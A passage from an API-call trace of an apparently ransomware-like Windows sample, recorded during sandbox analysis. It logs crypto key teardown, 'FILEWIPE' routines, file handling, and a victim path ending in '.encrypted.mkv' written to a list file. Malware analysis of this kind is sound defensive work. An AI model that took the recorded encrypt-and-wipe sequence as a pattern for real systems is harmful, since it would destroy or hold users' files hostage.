lpMsg=0xe8f3dfee40) returned 0 [0029.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.106] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.106] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.106] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.106] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.106] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.106] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.106] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.106] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.106] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.107] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.107] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.107] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.107] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.107] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.107] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.107] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.107] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.107] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.107] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.108] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.108] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.109] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.109] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.109] CharLowerBuffW (in: lpsz="byte[46134]", cchLength=0xb | out: lpsz="byte[46134]") returned 0xb [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.110] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.110] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.110] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.111] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.111] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.111] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.111] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.112] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.112] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.112] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.112] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.112] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.112] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.112] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.112] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.112] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.112] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10297) returned 1 [0029.112] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.113] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.113] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.113] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2839, lpOverlapped=0x0) returned 1 [0029.113] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.113] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2839, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.113] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10297) returned 1 [0029.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.encrypted.mkv\r\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0029.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.encrypted.mkv\r\n", cchWideChar=69, lpMultiByteStr=0xe8f4052120, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\jVh1kA9-oJEcvL8zuFH.encrypted.mkv\r\n", lpUsedDefaultChar=0x0) returned 69 [0029.113] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a130*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a130*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x44, lpOverlapped=0x0) returned 1 [0029.113] CloseHandle (hObject=0x1fc) returned 1 [0029.115] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.115] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.115] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.115] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.115] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.115] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.116] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.116] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.117] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.117] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.117] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0029.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.swf", cchWideChar=44, lpMultiByteStr=0xe8f404c350, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.swf", lpUsedDefaultChar=0x0) returned 44 [0029.118] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\lrhx1s.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=44, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0029.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=44, lpWideCharStr=0xe8f4069e30, cchWideChar=44 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\lRhx1S.swf") returned 44 [0029.119] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.119] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.119] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.119] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.120] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.120] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.120] CloseHandle (hObject=0x1fc) returned 1 [0029.120] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.120] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.120] PeekMessageW (in: 